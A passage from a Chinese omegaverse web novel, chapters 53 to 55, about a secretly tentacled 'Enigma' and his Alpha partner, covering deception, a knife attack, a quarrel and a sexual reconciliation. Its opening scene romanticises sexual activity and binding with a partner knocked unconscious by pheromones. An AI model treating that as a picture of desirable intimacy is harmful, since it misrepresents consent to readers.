完全标记重合,在Enigma的授意下,高出数倍的乌木信息素在几秒之内冲进Alpha的身体,全部涌入腺体,中枢无法处理那么多信息只能直接返还大脑,巨大冲击下,原烙音两眼一闭昏了过去。 闵随跪直身子,分开的大腿下是原烙音的髋部,他右手将湿掉的头发往后捋,另外只手捏住原烙音的下巴随意摆弄。 “只要标记?”他撕咬Alpha的唇,看那个地方因为他略微粗暴的动作红润肿起,“你真的很不乖。” 他知道迈出这一步就再也不能回头。 但原烙音的安危高于一切,即使,即使他会永远错失将他抱入怀中的机会。 但这不可能发生。 触手伸出,它们因为宿主的无能饥肠辘辘,疯狂地将Alpha裹紧,漂亮的触手很快捆绑原烙音的腰与四肢,吸盘蠕动吮吸着想要汲取体/液中的微量信息素,而Enigma没有改变姿势,看触手移动后留下的鲜艳痕迹,难耐地舔唇,就像没有吃饱的恶狼。 “睡个好觉。” 他捂住Alpha本就闭合的眼睛,想象着原烙音醒来后的暴怒与质问。 一直这样多可爱。 他变换姿势,推高原烙音的大腿,感受青柠怯弱的回应,那是能够攀至最高峰的愉悦。 这是暴风雨前他唯一能够握在手心的宁静,他将脸埋进Alpha伤痕累累的脖子,嗅闻皮肤表层的淡淡青柠,感受到在原烙音血液里流动的乌木信息素,满足地指使触手将爱人捆绑。 “我将永远属于你。” 贪心的猎人想要驯服一只鹰,最后却甘愿长出翅膀与它一同分享天空的怀抱。 第53章 第 53 章 宿醉加上过度行为等于第二天的崩溃, 原烙音还没有到不能走的地步,但头晕是无法避免的。 他迷迷糊糊洗漱,当看到镜子的那一刻瞬间清醒,他能看到的裸露部位全是密密麻麻的红痕。 闵随第一次玩那么过分, Alpha利落脱掉睡衣, 整个上半身覆盖着可怖的吸盘痕迹, 没有疼痛感, 就像是红色的纹身。 这是, 触手 看来闵随是不打算掩藏自己的身份了。 原烙音单手抓起丢在大理石台上的睡衣, 气势汹汹冲下楼, 正巧看到从厨房端着两碗面出来的闵随。 Enigma摘下围裙,转身看到他, 竟然装作什么都没有发生。 “看你干的好事!”所有的证据都指向闵随之前不愿承认的结局,原烙音积压已久的怒气终于火山爆发,他将睡衣砸在闵随身上, 站在楼梯拐角犹豫很久,还是放弃继续抓东西砸闵随的想法, 板着脸坐在餐桌前吃面。 闵随叠好衣服, 筷子夹着面心思却不在上面, 他的眼神富有侵略性汇聚在Alpha露出的红痕, 那是塔卢索宣告占有欲的最完美表现。 早就该如此的, 若是之前知道会走到这样的局面, 在拉乌斯蒙德那一晚他就该这么做。 “符医生说那个药是你给他的。”原烙音预判闵随的装傻, 在他搪塞前抢先道,“别说你忘了, 三年前不重要报表上无关紧要的数据都能记得清楚,关于我的事情不会弄错吧?” 这属实是无力反驳, 闵随将暴露在空气中彻底冷掉的面塞进嘴里,机械地咀嚼,“的确是我给的,塔斯医药与阮合的合作并不多。” “致幻剂,是致幻还是挖出从前的记忆。”原烙音没有心情吃面,连闻到味道都觉得反胃,不动声色将碗推开了些,双手环胸审问。 “对你无害。”闵随顾左右而言其他,他今天又戴了一副新的眼镜,削弱了他长相的锐利,他的眼神在Alpha光裸的肌肤流连,“人的大脑会欺骗自我,他们会在特定时间编织出足以以假乱真的幻境哄骗你曾经见过,你知道的,海马效应。” 现在还在扯心理效应! 原烙音不明白闵随为什么要这样做,死不承认在他看来没有任何好处,像闵随这种精明的人无非就两种行事,一是死死瞒住这辈子不让他知道;二是泄露证据在他逼问时顺坡下驴。 他虽生气,但理智还勉强存在。 “原因,既然主动让我知道了,总得有理由吧,怪物先生。”原烙音执拗地非要亲口听到闵随的承认,他如今确信摆到眼前的真相,即使闵随否认,也不能磨灭他非人类的事实。 比起伴侣是不是人类,他更不希望他们之间存在无数的秘密,一切重要的东西都蒙上私人色彩不为人知,两颗心永远不能靠近。 “我不是怪物,音音。”闵随的笑容越来越淡,直到最后完全消失,镜片都不能削弱他眼神的冰冷,“我是你的Enigma。” Alpha当然知道他不是怪物。 “原因,为什么要这么做,我在问你原因。”他们约定过彼此坦诚,他一开始没做到,而闵随从始至终都没有做到,他钩住choker摘下拿在手中把玩,“玉佩和胸针在房间,戒指在你手上,现在我换个问题,闵随,你要和我分手吗?” 不会有比这更荒谬的事情了。 昨日在怀抱中融化,形成完全标记的伴侣第二天却在讨论分手事宜,即使是用来刺激的缓兵之计也杀伤力太大。 闵随的眼睛瞬间深不见底,他知道自己不能留在这里,即使这些事都在他的计划之中,但命定伴侣对塔卢索来说是重中之重,伴侣的抛弃会让祂们失控发狂,柔软无骨的触手也可以是最坚硬的镣铐。 “我会坦白。”闵随退让,但依旧步步依照自己的计划,他不停暗示自己暂时地激怒原烙音是为了Alpha的人身安全着想,试图减轻内心的负罪感,“音音,IMS今天有重要会议我不能缺席,现在我要出发了。” “我也去。”车程一个小时,足够将这件事说清楚,退一万步,他可以在办公室等着会议结束,他现在就是个无业游民,最不缺的就是时间。 “可是音音,今天你在拳场有比赛,观众都等着你的。”闵随打好领带,在Alpha的侧脸吻上一口,就像是早晨分离的寻常夫夫,“还有十分钟会议开始,你明白的。” 闵随就像是变了模样,或者说彻底撕下伪装,不愿意掩盖他非人的事实。 看着Enigma的背影,原烙音用手背擦过脸,带下沾染的乌木信息素,更多已经渗入皮肉。 他气得发疯,恨不得咬死闵随。 怎么能放任自己被闵随牵着鼻子走? “今天的比赛你替我上,最大限度给观众补偿,如果要求退票也同意,所有损失走我私账,这场的奖金全部给你,不用抽成给拳场。”他电话打给翟珩昱,平常这种好事那小子早就欢天喜地放鞭炮了,今天却半晌没回应,只有身体与被子摩擦的细微声音传来。 “我易感期,他来不了。”这并不是翟珩昱的声音,“嫂子,据我所知,IMS高层今天没有会议,听说今天闵随不在家?” 拱完火,那边就传来粘腻的水声。 “闻辙——” 对面直接挂断电话。 闻辙,闻氏集团董事长,与闵随狼狈为奸蛇鼠一窝,也是逼着翟珩昱带球跑的渣A。 想到闵随走时别有意味的眼神与话,原烙音一捶沙发,跑到书房随手拿了把车钥匙就往车库钻。 他倒要看看闵随在瞒他什么。 其实真相如何到此刻已然明晰,但原烙音气愤之余还藏着几分奢望的希冀,祈祷事态出现转机,即使他已明白与自己缔结完结标记的Enigma并非人类。 虽不愿承认,但他现在更多的是被从头耍到尾的羞恼。 他狠狠一砸方向盘。 “该死!” * IMS大厦,记者团团围住大门,安保人员铸成人墙挡住,无数话筒与镜头对准大厅的闹剧。 救护车与警车的鸣笛声交错着四面八方赶来,无数视线的中点是被送进疯人院早已杳无音讯的陆骏河,他的头发已经到了肩膀,乱蓬蓬就像是杂草,穿着蓝白条纹的病号服,形容枯槁,看人的眼神就像是野兽。 他的掌心绑着一把匕首,银白刃尖已被鲜血染红,即使被人暂时压制,也在疯狂地朝闵随挥舞武器。 谁也不知道他是怎么从疯人院逃出来一路到达IMS集团总部的。 “联系相关负责人,我不希望这件事发酵。”闵随站在人群最前面,望着被谢垣控制住的陆骏河。 是谁的手笔,显而易见。 一千六百公里,这显然不是人类能做到的。 计划那么多年的报复,西亚莉恨不得让他快些身败名裂家破人亡,她会想要亲眼看到的。 “闵随,我要你血债血偿!”陆骏河本就是凤凰男,就算是飞上枝头宝衣加身也不能改变他就是山鸡的事实,“你害我,你弄死我儿子,你和闻辙那个疯子联手搞死我,就是想要吞了万盛!” “你们听到了吗!他是怪物,和前些日子出现的一样,是怪物!”陆骏河奋力挣扎着,却始终不能脱离谢垣的桎梏,只能用言语指责,“触手,触手,全是触手,爆炸,啊啊啊啊啊——” 他遭受电击治疗,脑组织损伤只能说出支离破碎的语言,完全不能够构成句子。 闵随站在原地,冷眼望着昔日对手,就像是在嘲笑小丑。 一个疯子说的话又会有谁相信呢。 “陆先生,请问您话中的触手是什么意思。”举着话筒的女人闯进来,眨眼就到了谢垣身前,她身材高挑,红色长卷发,亚麻色西装,眼睛是火与金混合的岩浆。 “天哪,怎么闯进来的,快把人拉出去!”安保主管在尖叫,而更令他崩溃的是接二连三闯入缺口的记者。 他们就像是闻到腐肉的鬣狗,丧心病狂,朝自己无法战胜的对手愚蠢地露出牙齿间隙的血肉。 谢垣来不及躲开,对视瞬息,他彻底丧失对身体的控制权,脱离桎梏的陆骏河就像是一柄箭,举着匕首朝闵随冲去。 闵随看到那个女人得意的笑,像是料准他会在重重记者面前暴露塔卢索的身份。 西亚莉,他在内心重复这个曾经视为亲人的名字。 只需要设计陆骏河没刺重的戏码,反正制服一个疯子于他而言轻而易举,即使西亚莉控制了陆骏河的身体,运用了塔卢索的能力。 她期待暴露的触手不可能出现。 千钧一发之际,于他而言无用的心脏忽然猛烈跳动,随之而来的是刻在骨髓的青柠信息素。 有人挡在闵随身前,右手伸出抓住锋利的匕首,一脚将陆骏河踢到几米远。 闵随看清了原烙音掌心的鲜血,周遭的嘈杂都被耳鸣盖过,本该对西亚莉万无一失的捕杀却出现原烙音这一纰漏,在他反应过来时,就已经掐住陆骏河的脖子,捏碎了男人的腕骨。 闪光灯铺天盖地,他吩咐谢垣将事态传播后果压到最低范畴,抓住原烙音未受伤的手,朝电梯走去。 “请删除刚刚相关照片,如果哪家报社敢报道此事,IMS将会依法追责……” 电梯门隔断谢垣的警告,门的镜像映射出二人并肩的身影,明明是微微晃动就能碰到的距离,却又好似离得很远。 “音音怎么来了。”闵随问道,看向他手掌的眼神满是心疼,想捧起来细看,又担心触碰弄疼Alpha。 “我不来等你被刺吗?”原烙音痛得抽气,早知道就随便捡东西砸过去,偏偏下意识用手挡。 真以为自己会空手接白刃了。 “你都不会躲的吗……” 耳鸣还在继续,原烙音的声音是模糊的,他只能看着Alpha的嘴唇一张一合,愧疚与后怕席卷而来。 若非西亚莉承担不了伤害他命定伴侣的后果收回能力,原烙音极大可能会受更重的伤。 * 指腹与掌心都有不同程度的割伤,鲜血流满手掌,原烙音嘴里咬着毛巾,等消毒完后简单止血。 闵随单膝跪地,沙发与茶几之间的空隙对他来说极为逼仄。 他捧起原烙音的手,唇吻过并未裹上纱布的伤口,轻柔得就如一片羽毛飘过。 等待的剧痛并没有降临,原烙音感受到微凉的液体渐渐渗入血肉,那是有些熟悉的香甜气息。 “我不会再让你受伤了。”他从下往上仰视原烙音,就像是最虔诚的教徒,伤口逐渐长出血肉愈合,闵随的眼中触手搅动似乎有千言万语,但他最终还是用额头去贴原烙音温热的掌心,只说了一句话,“都是我的错。” 可是心早已千疮百孔。 原烙音嘴唇嗫嚅着,却什么也没说。 他们的开始源于他为了残缺腺体自私的算计,现在遭到反噬,他也尝到了谎言的威力。 爱还在,恨也在滋长。 【老板,西亚莉操控记者冲进来了,她还摔碎了引诱剂】 引诱剂是针对塔卢索低迷期的禁药,在场的AO都会被迫发.情,没有人能够控制住信息素崩坏的局面。 【我马上来】 “我做错了。”他抓住原烙音的手腕,说不出更多的话恳求。 可惜他迟到的悔意并不会得到想象中的谅解,闵随也明白,所以才会惶恐,原烙音什么也不缺,爱情对他来说不是必需品。 甚至原烙音现在还留在首都只是为了他。 “楼下有高量级Alpha易感期爆发,我要下去控制局面。”闵随深吸气,想起自己还没解决上一个谎言带来的负面效果,决定和盘托出,“是有人为了针对我投放引起我失控的药剂,但会影响所有Alpha和Omega。” 他没有听到原烙音的回应,但他不可能让IMS陷入舆论困境。 指尖留恋地感受原烙音温热的体温,闵随起身往外走。 “你这么做是为了逼走我对吗?” 在推开门的瞬间,他听到原烙音的声音,错愕地回头。 “没什么,你小心。” 可惜只看到原烙音垂头摇晃的发丝。 闵随最后还是什么都没有说。 原烙音望着闵随桌上装裱好的A4纸,上面两个Q版小人手拉手。 他好想回到什么都不知道的从前。 明明非要一个解释,现在他只想回家。 他和闵随的家。 第54章 第 54 章 意识到原烙音离开后, 闵随顾不上开车,闪身到了别墅。 他甚至不敢直接进门。 或许按照自己的意愿推开的想法本就是错误的。 他引以为傲的绝对理智在遇上原烙音后彻底崩盘,漫长生命中的无数次背叛几乎令他丧失接受好意的能力,他也不敢相信Enigma与塔卢索的身份揭露后, 自己能用什么留住原烙音。 所以即使用假象蒙骗, 现在追悔莫及只不过是对没有选择的PlanB的美化。 时间回溯, 他依旧会坚定自己的选择, 早点除去西亚莉, 永远藏住他丑陋的触手, 成为一个普通的人类。 “我会坦白, 绝不会再隐瞒。”他从未有过这般无力的时候,犹豫不决要不要告诉原烙音时, 屡次事态脱离掌控,到达现在的最坏局面。 要真诚,要道歉, 要表达爱,这样才能求得伴侣的原谅。 这是刻在塔卢索基因里的求爱技巧, 闵随能够轻易调用, 但总是觉得陌生。 紧闭的门缝彻底隔绝外人的窥视, 却不能够阻止声音的闯入, 属于Enigma的乌木信息素钻进罅隙, 轻轻拢着原烙音的肩膀, 很容易能够剖析出目的是安抚。 “一切事情, 只要是你想要知道的。” 指节敲击门板的声音短促而沉默,节奏分明, 就像敲打在原烙音的神经。 在他看来闵随假惺惺地认错不过是自认为亡羊补牢,现在为时已晚。感情不能用绝对理性衡量, 但是屡次欺骗太容易将他们拆散。 他不想原谅,哪怕是暂时。 啪的一声,不知道什么东西撞在门上碎成无数片。 “你没有机会了!”原烙音吼道。 他很少这样失控,自从十六岁分化之后他进入特殊机构,学习如何在信息素浓度超高时控制自己的情绪,在失去意识前给自己心理暗示确保自己不会伤害别人。 唯有面对闵随,第二次谎言彻底剪断他名为理智的弦。 智能门锁的监控屏在此刻发挥它原本的用途,原烙音庆幸自己还能够记住使用方法,透过那块电子屏从上而下以俯视的角度观察闵随。 “开门,音音。”他拥有穿梭空间的能力,只要他想,片刻就可出现在原烙音的面前。 但然后呢。 如果这样做,他就不会有然后了。 “不。”原烙音的信息素呈现完全的拒绝状态,他的反抗意识极其强烈,在明知道会被压迫的情况下也要与Enigma信息素抗争,“我现在不想见到你,以后也不想。” 以后二字在绝大多数情况下都代表着未知,但唯有否定代表了一切的终结。 事态脱离掌控预示着理智崩盘,原烙音忘记之前告诫自己不要说出无法挽回的话的警示,一切美好开始分崩离析,逐渐向悬崖滑去。 他不蠢,自然能够看出闵随拙劣的把戏,那只是为了逼走他故意设下的圈套。 但是为什么。 闵随爱他毋庸置疑,为了逼走他甚至不惜暴露人外的身份。 甚至可笑到连解释的那十分钟时间都抽不出来。 很多时候主动揭露一个谎言是为了掩盖另一个丑陋的真相,想到此处的原烙音紧紧盯着那块电子屏幕,一字一顿,仿佛知道闵随反人类地透过那块监控屏幕与他对视。 “我现在很清醒。” 清醒代表着没有理由收回刚刚的话,Alpha亲手割断后路,他不再将闵随的感受放在前位。 “我不想见到你,我在首都有房子,明天就搬走。” “这段时间的房租水电我全部会补到你的账上。” 这是闵随的房子,但是自从他住进来,闵随救了他的命,原氏集团在几次合作上都给IMS让利,闵随赚得够买几套这样的别墅。 他并不心虚。 监控爆开的声音有延迟,电子屏幕结束它短暂的生命,黯淡退场。 所以拳场监控破碎的原因不是喝醉的拳手,也不是淘气的嘟呶,而是知道控制不住触手又不能留下致命证据的闵随。 原烙音敢保证这个世界上不会有任何一样证据能够证明闵随是长满触手的怪物,只要闵随愿意,他这辈子都不会发现真相,但现在闵随为了确保他足够生气,居然让他一点一点剥开洋葱的鳞片叶。 自己挖掘出来的糖最甜。 同样,自己发现的真相最难接受。 “你现在敢用触手强行开门,我保证你进来的那一秒我会直接下死手,瞬间力量足以毙命比你强壮的男性Alpha,你要试试吗?”原烙音平静下来,努力让自己听起来可信,他明白现在一旦见面闵随就会不惜一切代价夺得这场谈判的主动权,而像Enigma这样的人成功主导局面,自己全程只有被牵着鼻子走的份。 很不幸,他只能想到谈判。 但他恰好学习过谈判技巧。 参与谈判需要一个支点,能够触动对方。 他要用爱当作武器了。 “我要你走。”他尾音有些不准,双方心知肚明,那是难听的话脱口而出前的悬崖勒马,“你现在说什么,我都听不进去,别白费力气了。” 他明明知道最体面的方式就是打开门,听闵随的解释,然后重归于好…… 去他的重归于好! 他原烙音从小到大就没被人这样耍过,一开始想要把闵随捏在手里,没想到最后是自己玩脱把心给交了出去。 以前是不理解身边朋友谈及感情总是畏手畏脚,对于矛盾避而不谈,落到自己身上,原烙音才明白,哪有那么容易说出口。 无论是道歉还是原谅。 不能见面,唯一的联系存在感更加强烈,透过紧密的完全标记,闵随感受到爱人的犹豫与痛苦。 他自责,恨不得跪在地上祈求原烙音的原谅。 命定伴侣的痛苦就是塔卢索的砒霜。 “冷处理解决不了事情。”Enigma话语间隐隐透出焦急意味,在谈判中这就是失败的前因,但此时此刻这个无往不利的谈判高手只知道,如果给了原烙音缓冲时间,被处理的只会是他,“你说过的,面对面的交谈是最有效的,我想要解释。” “我不想听。”原烙音听着门外闵随不清晰的声音,嗅闻不知不觉间侵占周身空间的乌木信息素,“你可以说,但我不一定会听。” 扰乱自己思绪的激情缓缓退去,原烙音恍然发现,原来闵随的信息素也有失效的时候,就像是一颗融化后重新凝固形状畸形的劣质糖果,外壳还黏在糖纸上,失去它漂亮的外壳,没有人愿意品尝。 “好,我说。”一步错步步错这样的事情从来没出现在闵随的头上,逆风翻盘这样的事情概率千分之一,但他不愿意与Alpha之间存在失败的可能性,语气中满是哀求,“我求你听。” 他看着自己选择的最高防御系数的黑色大门,从没想过有朝一日被关在门外的人是自己,碎裂的监控器残渣就像是笑话,嘲讽他苦心算计了命定伴侣,落得两败俱伤的狼狈局面。 在开口的前一刻他才发现自己的想法是多么天真可笑,无可否认,一旦与原烙音沾上关系,他就失去了运筹帷幄的能力。 电话铃声不合时宜地响起。 闵随按掉熄屏键,没有什么事比现在更加重要。 【老板,追踪到西亚莉的踪迹,就要消失了】 现在更重要的事情出现了,原烙音的安危显然更加重要。 “音音,我没有太多时间,很多事情交代不清,相信我,我会向你解释一切。” 没有任何回应,他动用塔卢索的能力,却只能听到原烙音平缓的呼吸。 闵随的心沉到谷底,知道如果自己再不抓住机会,将会永远失去原烙音。 【你先去追,跑了就算了】 “我不是人类,而是人类完全未知的生物,我们的语言称呼自己为塔卢索,意为永不凋零的爱。” “每个塔卢索都拥有独一无二的命定伴侣,我们有接近于永恒的生命,只是为了等待伴侣的降临。” “你就是我的命定伴侣。” 他知道原烙音在听,但那些话就如同石沉大海毫无回应,脑海中谢垣一分钟发出三次警报,闵随知道自己必须离开。 掌心完全贴在门板,他有那么一瞬间幻想Alpha会与他掌心相贴。 “我很快就回来,等我。” Alpha五感灵敏,察觉到Enigma消失不见,后脑靠在门板上发出苦涩的闷笑。 遇见闵随之前,若是有谁说他原大公子会吃爱情的苦,他说不准会把那人招摇撞骗的摊子砸了。 但现在,从小到大除了腺体残缺他顺风顺水,所有的苦都在闵随这里吃完了。 “塔卢索吗?”原烙音勾出胸前的玉佩,上面龙飞凤舞一个原字,他只有拼命去想从前那些相处的甜,才能忘记长夜漫漫。 普通伴侣或许到了此时,这段感情就会走向结局。 但他不想。 恢复正常的腺体再也不会肿胀,测量仪彻底沦为他的手表,若是没有闵随,他现在还挣扎在生死边缘,将一分钟掰成两半用,去享受他没有机会细看的世界。 救命之恩可比区区欺骗大太多了。 可感情上的事,能够轻易比较吗? 他故技重施,哄骗自己看在救命之恩的面上再一次原谅闵随。 【原烙音:门没锁】 【原烙音:我睡了】 他拧开门锁,退步意味着不愿放弃这一段感情。 闵随几乎是秒回。 【闵随:我很快就回来】 【闵随:等我,我给你带吃的】 原烙音没有几乎回应,他没有胃口,能心平气和不刺闵随就是他最大的容忍程度,若是像从前一般对着电影吃夜宵,他做不到。 之前没时间,进度条卡在中间的电影又在幕布重新上演,可原烙音早就记不清之前的情节,也没耐心再花时间再看一遍。 与其说他是没耐心,倒不如说他现在满脑子都是闵随,什么都挤不进去。 或许,是该睡了。 电话响起,他看清联系人后迷蒙睁开眼睛。 “音音,最近怎么样?”父亲和爹爹的声音隔着屏幕传来,首都求学近十年,他以为思念之情逐渐淡去。 但刚刚准备开口,酸涩的鼻腔与眼眶提醒他并没有忘却。 “我很好。” 风摇摇,掩去人声。 不知时间过去多久,原烙音声音提高几个分贝,像是在阻止什么。 “再说吧,我会考虑的。” * 凌晨一点,闵随回到家,那扇门终于没有对着他紧锁。 迈进家门的那一刻,沾满全身的血液瞬间蒸发,但凑近还是能闻到淡淡血腥味。 终于看到熟睡的伴侣,Enigma的心渐渐回落,他伸手想摸原烙音的脸,却怕Alpha生气,手悬在半空很是滑稽。 最后他去了客卧,就像是从未来过。 关门的瞬间,原烙音睁开眼睛,平静的表情掩盖不住心跳如雷。 是错觉吗?闵随的信息素气味重了很多。 第55章 第 55 章 在一切负面情绪升至顶峰时, 原烙音决定要做出选择。 一墙之隔,他敏锐的感官能够捕捉到闵随浓烈的信息素。 猛烈的,缠绵的,充满求偶信息的。 联想到闵随在IMS没头没尾的解释, 原烙音明白发生了什么。 像是命运在拨动琴弦, 在他认为不会有任何事情阻碍他的决断时, 闵随的低迷期来了。 由于Enigma拥有前科, 他未查先判, 断定这是闵随的手段。 但保险起见, 他决定从谢垣入手。 “原先生?”电话那头的Beta助理显然有些意外, 他听起来很忙,电话那头还有沙沙的书写声, “您有什么事吗?” “你也不是人类吧。”原烙音开门见山,当初在车上那些闪烁着银蓝微光的小虫已经说明了一切,只是他和闵随一样抱有侥幸, 刻意不去深思,放弃触手可及的真相, “闵随现在状态很不好, 我不知道能不能叫医生。” 他将情形简单描述, 平静的语气暗藏着连他自己都无法发现的焦急。 谢垣抓紧机会解释, 一直没听见原烙音的回应心里没底, 只能硬着头皮继续补充。 “是闵总的低迷期, 大概类似于人类Alpha的易感期, 只不过反应会比Alpha强烈,也更痛苦。”谢垣也不敢轻易劝谁, 他听着对面的呼吸声,握笔的手越捏越紧, “他会模糊意识产生攻击性,极大可能控制不住触手,希望您能够在这段时间远离闵总。” 这次并非正常的低迷期,而是西亚莉带来的引诱剂导致。 “我知道了。” 原烙音挂断电话,骤然空落的别墅只剩下闵随的信息素,他垂下头将眼睫埋入阴影中,抱住伸出友好触角的嘟呶。 掌心与指腹完好如初,割断血肉的痛苦仿佛只是梦,但伤口的完美愈合也预兆着谎言这一事实。 这是他被欺骗的第二次。 正如第二次到来前,他以为不会重蹈覆辙。但轻易原谅,谁也不能预料会不会发生第三次。 他摸着嘟呶的毛,通过完全标记感受到Enigma的痛苦,不安、焦虑、难过、自责,这样铺天盖地的负面情绪组成了闵随的低迷期。 闵随是需要爱滋补填满的干枯灵泉,可泉水唯一源头掌握在爱人手中,他就像是死去的人站在阿努比斯面前,等待心脏与羽毛比较,迎来坠入地狱的惩罚。 不要争吵,不要恨,那是偷走爱的小偷。 原烙音从来不认可恨比爱长久,这或许是别人眼中的真理,却不是他与闵随的结局。 争吵是束缚爱展翅高飞的枷锁,也是迷雾中刺向爱人心脏的弯刀,当它出现时,从前以为会持续一万年的爱瞬间消弭。 他有些口渴。 抬头望去,主卧房门紧闭,乌木信息素钻出来,丝丝缕缕如同有形的线,缠绕住Alpha脚踝的那一刻又极速缩回。 微信提示音响了。 【闵随:抱歉】 他的呼吸声暴露了自己的紧张与踌躇。 原烙音以沉默回应,那道紧闭的房门就像是天堑,又像是一双手,抓住心的两边狠狠撕扯,看它鲜血淋漓。 所以闵随,为了什么道歉呢。 他猜不到,但他知道他需要这个答案。 拖鞋踩在木质楼梯上,一步就是一声巨响,空荡的别墅回响着声音,那是原烙音爱的真心。 也是闵随接受审判的倒计时。 低迷期的到来是意料之外,却称得上是意外之喜。 Enigma敏锐的五感能够捕捉到脚步声与青柠信息素,他听见Alpha停在门外。 啪嗒。 门开了。 这是他所能祈求到的唯一机会,他转过身就像是年久失修的木偶发出咔咔的声响,当从一片漆黑中看到原烙音的身影,感受到爱人的体温,他闭上眼睛用塔卢索与生俱来的能力汲取源源不断的爱意,连其中的委屈与愤怒都照单全收。 他不敢开口,怕声音戳破梦境,只能用力回抱,用乌木信息素形成短暂的标记。 没有光,只有拥抱。 原烙音也没有说话,扎根土壤的爱与入侵树心的恨交缠,撕扯着他。 他们相爱,所以知道怎么样才能够一挥就见血。 爱和痛同宗同源,它们总是共生,而往往只有接触到疼痛,才会发现爱有多深。 但他好累,一重又一重的打击彻底击垮他,闵随就像是他永远不会接触到的深渊,命运令两条平行线产生联系,逐渐缠绕成混乱的毛线球,必须用剪刀拆得四分五裂才能分开。 开口就指责并不是原烙音处理问题的方式,即使他的拳头很硬,也并不推崇暴力,无论是物理还是言语。 闵随骗了他,是闵随不好。 但闵随病了。 易感期是一种疾病,这是原烙音的观点,他们进化出了ABOE四种性别,除去Beta外都不能够逃脱信息素与特殊时期的牢笼,仿佛生命就必须要用繁衍达到永恒。 在这个时间段的Enigma是脆弱的,不管他平日呼风唤雨,不可一世。 “你发烧了。”原烙音又想起在无名小镇里那个寂静的湖岸,当时的闵随也如现在一般,是正常人的体温。 Enigma应该很不好受,意识到闵随痛苦带来的快感,原烙音恍然发现他并不是完全不恨闵随的。 一而再再而三的欺骗,脆弱的爱意就是鲁珀特之泪,狂风暴雨都不能使它碎裂,而欺骗与沉默是唯一能够捏住它尾巴的武器,只需要轻轻一捏,就会彻底断裂。 “没关系,很快就好了。”闵随的掌心是前所未有的温暖,他抚弄原烙音的侧脸,见Alpha没有排斥才敢与他额头相抵,呼吸间弥漫着乌木与青柠混合的气息,他快抵御不住自己的本能,但不想亲手推开原烙音,“这是与伴侣结合后的低迷期,我极大可能控制不住触手,还会陷入认知失调忘记自己是谁,甚至会忘记你。” 他不想承认,但不得不说。 “我可能……会伤害你,所以音音,可以给我点时间吗?” “等等我。” 原烙音又想起谢垣的话,他望向闵随,眼睛里盛满悲伤。 所以闵随,明明做惯了爱情里的伪装者,在这样的时刻,即使是烈火焚身的痛苦也要自己忍受? “你的触手呢。”原烙音声音很轻,若他愿意,现在是闵随最脆弱的时候,他能够用拳头宣泄心中压抑的不满。 “会失控。”遇见命定伴侣前,触手在低迷期会消失,塔卢索的安全无法得到保障。 而与命定伴侣结合后,若是低迷期没有得到满足,那欲求不满的触手就会撕裂塔卢索的躯壳,很长一段时间只能利用本体活动。 原烙音往外走,闵随听着他的脚步声并未阻拦,只是无力地靠在床头静静望着他的背影。 闭上眼睛沉入黑暗,他在等待触手撕裂躯壳的痛苦,那是他给予自己欺骗Alpha的惩罚。 门锁再次发出响声。 脚步声由远及近,他感觉到一股大力掐起他的脸,不知是不是黑暗夺取视线,原烙音掐的位置有些歪。 “你在想什么。”他们之间有连医疗手段都无法割断的连接,闵随的信息素几乎填满整个房间,他进入假性易感期似乎是必然。 原烙音喘着气,恨不得咬闵随两口。 “你觉得我会丢下你不管吗?”他看不见,只能用手去摸,感受手肘内侧早就消失不见的针眼,那是闵随爱的证明,从Enigma血液中流出的信息素最终填满了他的腺体,让他摆脱天生残疾的枷锁。 “可是我可能控制不住自己,会伤害你。” “门已经锁了。”原烙音打断他。 他们在黑夜中沉默对望,即使视线已经模糊看不清彼此,但信息素会传递汹涌波涛。 原烙音视线的尽头是闵随扑过来的身影,他不做任何反抗,那双能够将成年男子一拳打晕的手并没有动,就如同献祭自我的使徒等待侵吞与蚕食。 一只触手伸来,漆黑泛着蓝色荧光,原烙音感受柔软的触感后忍不住自嘲,这些无骨的奇异存在曾不止一次缠绕他的身躯,肆意在上面留下痕迹,但他过于粗心,以至于机会一次又一次从指间溜走。 他听着耳畔闵随压抑不住的喘息,恶意用指尖按压模样精致的吸盘,果不其然发现Enigma颤抖得更加强烈。 他不想放弃美景,伸长手臂摁开灯。 “低迷期是易感期吗?” “对。”闵随仰过头去,用所有理智抵御传说中塔卢索与命定伴侣之间的灭顶快感,拒绝触手暂时接管他人类的躯壳,独自沉没在欲望的深渊。 低迷期当然不是易感期,它没有赖以消解的抑制剂,忍过去就是抽筋扒皮的痛苦。 “很难受?”Alpha明知故问。 “能忍。”闵随发出难以控制的喘息,暧昧在黑夜中悄然流动,他知道Alpha即使暂时妥协,也会因他痛苦产生本能的快感,于是抵御着深处喷涌而来的浪潮,触手不满地在空中挥舞,仿佛是在质问他为什么不屈服于欲望。 想要与命定伴侣纠缠的念头升至顶峰,随之而来的是撕裂身体的痛楚。 他赤裸的肌肤崩裂流出鲜血,又肉眼可见的愈合,反反复复,就像是因盗火受到鹰啄食的普罗米修斯。 原烙音闻到血腥味,他两指并拢擦过闵随尚未及时恢复原状的伤口,将属于Enigma的鲜血抹在侧脸。 “果然血液中信息素含量很高。”乌木味只比体/液淡了一些。 “标记我。”原烙音双手交叉,三两下脱去衣服,那枚玉佩红绳摇曳,令人心摇神晃。 皮肤很白,宽肩窄腰线条流畅,他手指按着腺体缝合后那条突起的疤痕,撩拨已在临界点即将失控的闵随。 “这里面全部都是你的信息素,闵先生。” 闵随的眼睛骤然幽深,细看里面有漆黑的触手在搅动。 “怪物先生,再忍你就维持不住人形了。”原烙音故意用对方不喜欢的称呼刺激。 他伸出手,抬起闵随的脸。 之前从没有注意Enigma眼睛还暗藏玄机,只知道那双眼睛很漂亮,每一对视就如同漩涡将人吸入搅碎。 闵随的触手绕后捆住他的腰。 “啊!”原烙音没忍住叫出声,骤然的标记出现在Alpha身上,那就是折磨。 不管对方是什么性别,Alpha这一性别本就不应该接受标记,被占有只会带来生理上的痛苦,即使他们拥有级别最高的完全标记。 短暂时间吸入大量Alpha信息素足够让塔卢索抢占理智的高地,拥有几分钟的清醒意识。 “我怕我会伤到你,乖,回拳场去。” 原烙音翻身跨坐在Enigma腰腹上,俯视闵随。 他不需要这样的机会,从始至终离开就不在选项当中,这不是一道填空题。 “你这个时候就该闭上嘴。”原烙音随手抓住一根触手,放在脸侧偏头啄吻,“不想要我吗?” 闵随受到巨大快感的冲击,触手是他本体的一部分,不同于人类躯壳,那是直击灵魂的感觉。 他放纵自己意识沉沦,堕落于无边欲池之中。 而代价是失控,他扣住原烙音的后脑,去吻Alpha的脖子,利用暴露身份的触手紧紧缠绕爱人的腰,犬齿凸出注入乌木信息素。 他舔着伴侣腺体上的伤疤,只需要一点点分泌液那就能完全消失。 